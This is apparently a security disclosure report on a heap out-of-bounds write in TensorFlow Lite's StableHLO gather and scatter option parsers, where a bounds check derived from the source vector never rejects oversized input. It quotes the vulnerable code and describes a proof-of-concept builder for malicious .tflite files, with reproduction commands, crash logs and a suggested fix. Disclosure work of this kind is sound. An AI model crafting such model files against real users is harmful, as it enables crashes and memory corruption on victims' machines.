TFLite ParseStablehloGather / ParseStablehloScatter heap OOB write: vacuous FlatBufferIntVectorToArray bound copies attacker-controlled flatbuffer vector into fixed int64[8] params array at model-load
Severity: High (heap out-of-bounds write, attacker-controlled length AND value, at model-parse time)
Vulnerability class: CWE-787 Out-of-bounds Write / CWE-1284 Improper Validation of Specified Quantity in Input
Target: TensorFlow Lite (in-tree TFLite runtime shipped with the tensorflow package)
Version tested: tensorflow 2.21.0 (pip wheel), flatbuffers 25.12.19
Attack surface: Loading an untrusted/malformed .tflite model via the fully public default tf.lite.Interpreter(model_content=...) API
Trigger: the tf.lite.Interpreter(...) constructor (InterpreterBuilder::ParseNodes -> ParseOpData -> ParseStablehloGather), before allocate_tensors() and before any kernel runs.
Summary
ParseStablehloGather (and its siblings ParseStablehloScatter, ParseStablehloReduceWindow,
ParseStablehloPad) copy variable-length int64 flatbuffer vectors out of an attacker-supplied
model into fixed-size 8-element int64_t arrays inside a heap-allocated params struct. The copy
is guarded by a bounds check that is vacuously always-true because the buffer-capacity argument is
derived from the source vector's own length instead of the fixed destination capacity. As a result
the loop writes size attacker-controlled 8-byte values into a 64-byte array, running off the end of
the struct and corrupting adjacent heap — a heap OOB write with attacker control over both the number
of bytes written and their contents, reached purely at model-parse time through the default public API.
Root cause
The fixed destination array (capacity 8)
tensorflow/compiler/mlir/lite/core/c/builtin_op_data.h:
#define TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT 8
typedef struct {
int64_t offset_dims[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT]; // 8 * int64 = 64 bytes
int num_offset_dims;
int64_t collapsed_slice_dims[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
int num_collapsed_slice_dims;
int64_t start_index_map[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
int num_start_index_map;
int64_t index_vector_dim;
int64_t slice_sizes[TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT];
int num_slice_sizes;
bool indices_are_sorted;
} TfLiteStablehloGatherParams;
Each of offset_dims, collapsed_slice_dims, start_index_map, slice_sizes is a fixed
int64_t[8] (64 bytes).
The vacuous bounds check
tensorflow/lite/core/api/flatbuffer_conversions.cc:
template <typename DataType = int32_t>
static TfLiteStatus FlatBufferIntVectorToArray(
int max_size_of_buffer, const flatbuffers::Vector<DataType>* flat_vector,
DataType* buffer, ErrorReporter* error_reporter, const char* op_name) {
if (!flat_vector) {
...
return kTfLiteError;
} else {
size_t num_dimensions = flat_vector->size();
if (num_dimensions > max_size_of_buffer / sizeof(DataType)) { // <-- guard
...
return kTfLiteError;
} else {
for (size_t i = 0; i < num_dimensions; ++i) {
buffer[i] = flat_vector->Get(i); // <-- OOB write
}
}
}
return kTfLiteOk;
}
The bug: max_size_of_buffer is derived from the source vector, not the destination
ParseStablehloGather (same file) passes schema_params->offset_dims()->size() * sizeof(int64_t)
as max_size_of_buffer — i.e. the size of the attacker-controlled source vector, not
sizeof(params->offset_dims):
TF_LITE_ENSURE_STATUS(FlatBufferIntVectorToArray<int64_t>(
/*max_size_of_buffer=*/schema_params->offset_dims()->size() *
sizeof(int64_t),
/*flat_vector=*/schema_params->offset_dims(),
/*buffer=*/params->offset_dims, /*error_reporter=*/error_reporter,
/*op_name=*/"stablehlo_gather"));
params->num_offset_dims = schema_params->offset_dims()->size();
TF_LITE_ENSURE_STATUS(FlatBufferIntVectorToArray<int64_t>(
schema_params->collapsed_slice_dims()->size() * sizeof(int64_t),
schema_params->collapsed_slice_dims(), params->collapsed_slice_dims,
error_reporter, "stablehlo_gather"));
...
TF_LITE_ENSURE_STATUS(FlatBufferIntVectorToArray<int64_t>(
schema_params->start_index_map()->size() * sizeof(int64_t),
schema_params->start_index_map(), params->start_index_map,
error_reporter, "stablehlo_gather"));
...
TF_LITE_ENSURE_STATUS(FlatBufferIntVectorToArray<int64_t>(
schema_params->slice_sizes()->size() * sizeof(int64_t),
schema_params->slice_sizes(), params->slice_sizes, error_reporter,
"stablehlo_gather"));
Substituting into the guard, with size = flat_vector->size():
num_dimensions > max_size_of_buffer / sizeof(int64_t)
= size > (size * sizeof(int64_t)) / sizeof(int64_t)
= size > size
= false (always)
The check can never reject, regardless of how large the source vector is. max_size_of_buffer
should be sizeof(params->offset_dims) (= 8 * sizeof(int64_t) = 64), the fixed destination
capacity — then a source vector of length > 8 would be correctly rejected. Because it is instead
derived from the source length, the copy loop for (i=0;i<size;++i) buffer[i]=flat_vector->Get(i)
writes size attacker-chosen 8-byte values starting at params->offset_dims, overrunning the
64-byte field, the rest of the TfLiteStablehloGatherParams struct, and adjacent heap.
Both the length (size) and the written values (each flat_vector->Get(i)) are fully
attacker-controlled from the model file.
Shared root cause across sibling parsers
The identical ->size() * sizeof(int64_t) self-referential-bound pattern is used by the other
StableHLO option parsers in the same file, e.g. ParseStablehloScatter
(update_window_dims / inserted_window_dims / scatter_dims_to_operand_dims copied into the
fixed arrays of TfLiteStablehloScatterParams). So this is one root cause spanning multiple
op parsers, not a single-op typo.
Reachability
The vulnerable copy runs inside the tf.lite.Interpreter(model_content=...) constructor:
InterpreterBuilder -> ParseNodes -> ParseOpData -> ParseStablehloGather. It executes at
parse time, before allocate_tensors() and independent of whether the StableHLO gather kernel is
ever registered or invoked. Reproduced with the default resolver and XNNPACK enabled
(the out-of-the-box configuration) — no non-default flags required.
Proof of Concept
mk_stablehlo_gather.py builds a minimal .tflite with a single STABLEHLO_GATHER op
(BuiltinOperator = 201) whose StablehloGatherOptions.offset_dims vector has n entries, each
0x4141414141414141, plus small valid collapsed_slice_dims / start_index_map / slice_sizes.
It is loaded with the fully public default API (load_worker.py):
import tensorflow as tf
buf = open(path, 'rb').read()
it = tf.lite.Interpreter(model_content=buf) # ParseNodes/ParseOpData runs HERE
print("CONSTRUCTED_OK")
it.allocate_tensors()
print("ALLOCATED_OK")
Because the crash happens inside the constructor, CONSTRUCTED_OK is never printed on the
malicious inputs — proving the fault is at parse time, not at allocate/invoke.
Files
mk_stablehlo_gather.py— model builder:python mk_stablehlo_gather.py <n> out.tfliteload_worker.py— driver (loads via defaulttf.lite.Interpreter)shg_n8.tflite— negative control,n=8(fits the 8-element array) ->CONSTRUCTED_OK/ALLOCATED_OKshg_n1000000.tflite— primary malicious PoC (n=1,000,000) -> SIGSEGV in constructorshg_n100000.tflite,g100000.tflite,g200000.tflite,g50000.tflite,g5000.tflite,g20000.tflite— additional malicious sizes
Reproduce
pip install tensorflow==2.21.0
python load_worker.py shg_n8.tflite # negative control -> CONSTRUCTED_OK / ALLOCATED_OK / rc=0
python load_worker.py shg_n1000000.tflite # -> SIGSEGV (exit 139), no CONSTRUCTED_OK printed
Captured evidence (verbatim)
Negative control (n=8, in-bounds):
CONSTRUCTED_OK
ALLOCATED_OK
rc=0
Overflow — crash occurs BEFORE CONSTRUCTED_OK prints (crash is inside the constructor / ParseOpData, parse time):
n=5000 rc=139 (SIGSEGV)
n=50000 rc=139 (SIGSEGV)
n=1000000 rc=139 (SIGSEGV) grep -c CONSTRUCTED_OK shg_1m_raw.log -> 0
n=100000 rc=134 (SIGABRT), glibc: "corrupted double-linked list"
n=200000 rc=139, glibc: "corrupted double-linked list"
Determinism — shg_n1000000.tflite, three consecutive runs (tensorflow 2.21.0):
run1 rc=139 CONSTRUCTED_OK_count=0
run2 rc=134 CONSTRUCTED_OK_count=0
run3 rc=139 CONSTRUCTED_OK_count=0
Every run crashes (SIGSEGV/SIGABRT) inside the constructor; CONSTRUCTED_OK is never reached.
Kernel log (dmesg) during crashing runs:
traps: python[1566947] general protection fault ip:7fc8ca5c955d sp:7ffcdeb1f640 error:0 \
in libpywrap_tflite_common.so[5c855d,7fc8ca251000+880000]
traps: python[1566969] general protection fault ip:7fbbd67c955d sp:7fff28e71c80 error:0 \
in libpywrap_tflite_common.so[5c855d,7fbbd6451000+880000]
The general-protection-fault / glibc "corrupted double-linked list" aborts are heap-metadata
corruption caused by the sequential OOB write of the attacker byte pattern 0x4141414141414141
over glibc malloc chunk headers past the params struct.
Impact
An attacker who gets a victim to load a crafted .tflite (a common threat model — model files are
routinely downloaded from public hubs and treated as passive data) achieves a heap out-of-bounds
write, with control over both the number of 8-byte words written and their values, during the
tf.lite.Interpreter constructor — before any inference. At minimum this is a reliable remote
denial of service (SIGSEGV/abort); given attacker control over write length and contents adjacent
to heap metadata, it is a strong memory-corruption primitive.
Affected configuration / scope
- Default
tf.lite.Interpreter(model_content=...)API, default resolver, XNNPACK enabled (default). - Bug is in the generic op-parameter parser (
flatbuffer_conversions.cc), independent of kernel registration; the StableHLO gather kernel does not need to execute.
Suggested fix
Pass the fixed destination capacity as max_size_of_buffer, e.g.
sizeof(params->offset_dims) (= TFLITE_STABLEHLO_GATHER_PARAMS_MAX_DIMENSION_COUNT * sizeof(int64_t)),
in every FlatBufferIntVectorToArray call in ParseStablehloGather / ParseStablehloScatter /
ParseStablehloReduceWindow / ParseStablehloPad, so oversized source vectors are rejected.
Deduplication
- No CVE was found describing a parse-time heap OOB write in TFLite's StableHLO option parsers
caused by
FlatBufferIntVectorToArraybeing called with a source-derived (self-referential)max_size_of_buffer. Public TFLite StableHLO issues concern kernel-execution shape handling, not this parse-time fixed-array overflow. - Distinct from other TFLite findings in this account's backlog: this is a parse-time
(
tf.lite.Interpreterconstructor) fixed-array overflow inflatbuffer_conversions.cc, whereas the sparse-weight-densification OOB write triggers later atallocate_tensors()in the reference FullyConnected kernel. Different file, different code path, different trigger point.
Environment
tensorflow2.21.0 (pip wheel),flatbuffers25.12.19- Python (build venv), Linux x86_64